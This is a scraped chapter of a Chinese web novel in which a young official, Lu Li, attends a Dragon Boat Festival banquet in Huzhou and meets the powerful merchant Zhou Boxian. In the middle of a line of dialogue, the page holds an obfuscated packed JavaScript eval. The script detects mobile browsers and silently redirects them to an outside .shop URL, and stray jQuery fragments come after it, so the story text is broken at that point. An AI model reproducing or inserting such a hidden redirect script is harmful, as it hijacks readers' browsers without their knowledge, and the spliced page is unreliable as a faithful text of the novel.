文趣网 > 都市小说 > 弃红妆[双重生] > 16. 端午宴
    陆离新官上任数日,只躲在丽泽轩里办公务。

    那苏信年纪虽小,但聪明灵透。陆离但有所问,他寥寥数语,便解释得极为清楚。

    两天下来,陆离有心用他,便让人在自己书房多置了张书案,让苏信在自己身边办公。

    张主事乐得清闲,只嘱咐苏信好好听从陆通判吩咐。

    只有卢嘉不太开心,见苏信短短数日便得了陆离的信任,颇有几分“失宠”的危机。

    这两日愈发会看人脸色,手脚也勤快,添茶倒水,传信跑腿,忙得似个陀螺,鞋底都要磨穿了。

    这一日从外面回来,手里拎了只鸟笼,邀功一般给陆离看。

    陆离见笼子里乃是一只鸟,鲜亮的鹅黄羽,一双小黑豆眼,十分神气。

    奇道:“哪里来的?”

    “胡知州送的,他说郎君年纪还小,正是爱玩的时候,想必喜欢这些玩意儿,特意派人送来的。还送来一张拜帖。”说着,从怀中掏出一张拜帖递过来。

    陆离想起州衙后院那座亭子,檐下挂了二十余只鸟笼,每一只都养得十分精心。

    心道哪里是我喜欢,分明是你喜欢罢。

    打开拜帖一看,原来后日是端午节,白苹洲设宴,胡琨请她去赴宴。白苹洲,好像在归安县……

    陆离沉吟片刻,看向左侧的苏信:“这端午宴,往年也有吗?”

    苏信正握笔誊抄一份公文,闻言抿嘴一笑,一心二用,手上不停,嘴上却回她道。

    “都有的,这是湖州惯例。陆通判还没去过归安县罢?白苹洲就在归安县,是一处沙洲,洲上建了许多园子,风景是极好的。”

    “除了官员,往年还有哪些人会赴宴?”

    “湖州的望族——周、姚、楼、沈这四家,是必会赴宴的,因每年设在白苹洲的端午宴,和设在太湖上的中秋宴,都由这四家轮流做东。另外,赴宴的还有本地与外地的商人,多半是做蚕丝生意和茶叶生意的。”

    陆离心中一动。

    “这周家是做什么生意的?”

    苏信侧过头,看了陆离一眼。

    将手中湖笔搁到笔架上,方淡淡道:“什么生意都做,绸缎庄、酒楼、金银铺子……做得最大的,要数粮食生意,周家在湖州有二十多家米行,据说这两年在杭州也开了几家。”

    听到这个数字,陆离忍不住吃了一惊。

    —

    湖州的两个首县①,便是乌程县和归安县。

    乌程县县衙便在湖州子城城南,与州衙离得很近,归安县县衙则在白苹洲之上。

    端午一早,卢嘉蹦跳着来敲陆离的门。

    “郎君,马车已等在衙门外头了。”

    陆离收拾妥当,一身利落地走出来。

    料想今日酒宴鱼龙混杂,诸位官员必定不会穿官服。她便换了一身月白窄袖袍,发髻上簪一枚玉兰簪,清爽利落,十分俊美。

    卢嘉脱口赞了一声:“郎君今日真精神。”

    陆离见卢嘉也特意收拾过,穿了件墨绿新袍,活像一根艾草成了精。礼尚往来,夸了回去:“你瞧着也挺喜庆。”

    她走出通判厅,上马车前,忽然想起一事,转头对卢嘉道:“去叫上苏信。”

    卢嘉喜色褪去些许,不解道:“今日端午,苏信应在家中过节呢!我又不知他家住哪儿。”

    “他在丽泽轩,我方才瞧见他了。”

    卢嘉只得听命。

    —

    卢嘉赶着马车,走得很慢。不怪卢嘉,也不怪马,今日天气好,出城的人太多。

    陆离掀开车帘朝外看,只见街道上人头攒动,车马穿梭不止,河道中也不清闲,船只来往不息。

    越走人越多,街道被堵得水泄不通。马车几乎寸步难行。

    “早知如此,便乘船了。”陆离放下车帘。

    苏信抿嘴一笑:“今日租船更是比登天还难,有几段河道被封了,要做龙舟竞渡比赛。”

    陆离眨了眨眼,默然无语。

    苏信安慰她:“过了骆驼桥就好走了。”

    果然如苏信所说,等马车龟速通过骆驼桥,前路豁然开朗。卢嘉在车外大声道:“郎君坐稳了。”

    一声鞭响,马车忽然加速。

    苏信似乎在出神,一颠之下,整个人离座飞出去。陆离连忙伸手攥住他胳膊,人瘦得像只小鸡崽,很轻易地将人提了回来。

    一等坐稳,苏信立刻甩开陆离的手,抽回自己的胳膊:“多谢陆通判。”

    他一贯警醒,立刻发觉自己举止过激,不安地看向上官。

    却见陆离仿佛什么也没察觉,掀开车帘朝卢嘉喊了一句:“慢一点,咱们又不赶时间。”

    车帘一闭,卢嘉的声音模模糊糊地传进来:“知道了,郎君。”

    陆离心中有些心惊,方才握住的那段胳膊,实在太细了,就像七八岁幼童的胳膊。

    她看向苏信,苏信垂着头,在默默地卷自己的袖子。

    平日里常做抄写的活计,他的袖子一直是卷了几道别上去的,陆离看惯了,没觉得什么。

    现在觉得有些不对,苏信这身常穿的灰袍,好像过分宽大了些,袖子尤其长,要卷上宽宽的三道,方能将手腕子露出来——简直像是偷穿了别人的衣裳。

    穷苦的百姓会买旧衣穿,多半不太合身。但苏信……难道书令史的俸禄不够他穿衣吃饭吗?

    陆离暗暗将这事放在心上,她对人家上了心,便见不得这人受委屈。

    —

    下了马车,已有小船等在渡口。

    船夫躬身将船划到三人面前,问:“可是陆通判?”

    卢嘉给他看了拜帖。

    三人上了船,在曲曲绕绕的碧水中穿行。不知穿过几个芦苇荡,方在一蓬蓬花木中,瞧见几只翘出的檐角。

    陆离压低了嗓音,对身侧的苏信道:“你今日别离开我身边。”

    苏信小心翼翼地觑了她一眼。

    陆离笑了笑,声音挺温和:“我初来乍到,人也不认识几个,你替我看着点,免得我认错人,闹笑话。”

    苏信小声答应了。

    各地端午庆祝都一样。

    在刘僢的主持下,知州胡琨先发表了一番贺节祝词,待大小官员落座后,龙舟竞渡开始。

    苏信小声向她介绍,原来这几支龙舟队都是周、姚、楼、沈四家养的,当年端午胜出的队,将承办次年的端午宴和中秋宴。

    也就是说,这是在抢“花银子”的机会。

    “这是哪一年开始的规矩?”

    苏信脱口而出:“泰和五年,今年已是第十三年。”

    龙舟竞渡已比出了结果,周家的三支龙舟队,得了一、二、六名,可谓是大胜。

    “年年都是周家赢?”

    “那倒不是,十三年前,周家还没发家。”苏信顿了顿,方小声在陆离耳旁咕哝,“当时是姚、楼、沈、童四家,后来周家娶了童家的小姐,童家大约是……时运不济,没几年就没落了。反而周家越来越兴旺,尤其是这几年,仿佛是交了好运,生意越做越大,成了四家之首,龙舟竞渡已连赢了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839786|211598||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    四年。”

    说话间,周家作为获胜方,得到了代表胜利的一只小银碗。

    领碗的瞧上去三十岁出头,穿着一身花团锦簇的绛色丝袍,人却不显得俗气。一张脸长得十分精彩,容长脸,桃花眼,悬胆鼻,只嘴唇薄得似一敛刀锋,有点破坏整体的美感。

    “那人是谁?”

    苏信的目光也盯在那人身上,似乎入了神。听到陆离问,方吐出几个字:“周家的话事人……周伯献。”

    那日闵德厚离开州衙便去了周宅,是见这个周伯献吗?

    她心里起了个疑问,便装作不经意,实则十分留心二人动作。结果直到正宴开始,那二人也没说上话。

    反倒是周伯献,在官妓们跳完一支舞蹈后,手里执一只精美银壶,径自朝她走过来。

    “陆通判,听闻您月前就已到了湖州,在下早就想上门拜会,可惜近日俗务缠身,一直在外奔波,如此……怠慢了通判,真是罪过。”那张薄唇开启,做了个微笑,像在脸上划了道窄长的口子。

    陆离手忙脚乱地起身,红着脸笑道:“不敢当,不敢当,周大当家生意做得好,是湖州的幸事。”

    周伯献见这位小通判手足无措,从里到外地笨拙,心道闵德厚说得不错,这是个嫩瓜秧子,不足为虑。

    当下笑得一派和气,和气地灌了陆离一大杯酒。

    还要再斟,陆离两只手都摆上了,一团孩子气:“我不善饮,再喝就要醉了。”

    周伯献见小通判酒气上脸,眼角都红了。便十分善解人意,提着壶转身去找刘僢了。

    苏信一直静静旁观,瞧陆离的样子与平日大相径庭,仿佛换了个人,心里若有所悟。

    等周伯献走远了,陆离坐下,给自己满斟了一杯酒,一仰脖,喝了个一干二净。

    末了,脸上浮现一抹疑色:“不对呀……”

    “怎么不对?”

    “我这壶里装的不是酒。”

    陆离又倒出一杯,液质清透,呈琥珀色,倒是和酒液一样。凑上去一闻,只有清甜的香味。

    苏信忍住笑,解释道:“开宴前,刘参军特意过来交代的,说通判不善饮酒,因此换了枇杷露。”

    这个刘僢还真是,挺“善解人意”。

    “方才周伯献给我喝的酒,味道真不错。”

    苏信见他一脸的回味,便道:“应是箬下春,也叫乌程之若下,是本地酒,据说周伯献平生只饮此酒。通判想喝不难,我去要一壶?”

    陆离拦住他:“罢了,喝酒误事。”

    有周伯献在前,剩下的姚、楼、沈三家也上来敬了酒。

    这三位当家的都年过花甲,姚、楼还能自己走过来,沈老太爷颤颤巍巍,是被小厮搀过来的。

    这杯敬酒喝得陆离心惊胆战,生怕沈老爷子一杯呜呼了。

    及至夜深,这场宴终于散了场。

    刘僢派来的侍从在前引路,将他们安置在一处园子里。

    如苏信所说,这白苹洲上建了许多漂亮园子。他们在花木中穿梭良久,路过许多园子,陆离见里面都大张灯火,想必都是那四家的产业。

    四周黑黢黢的,陆离顾不得,也看不清景致,应酬一天,身心俱疲,终于到了自己的园子,洗漱后倒床便睡了。

    —

    次日一早,陆离梳洗好走出厢房,见一个灰扑扑的影子站在廊下,仰头朝外看。

    走近了才发现是苏信。

    苏信朝她行了礼,眉头皱得紧紧的。

    “通判,咱们今日回不成了。”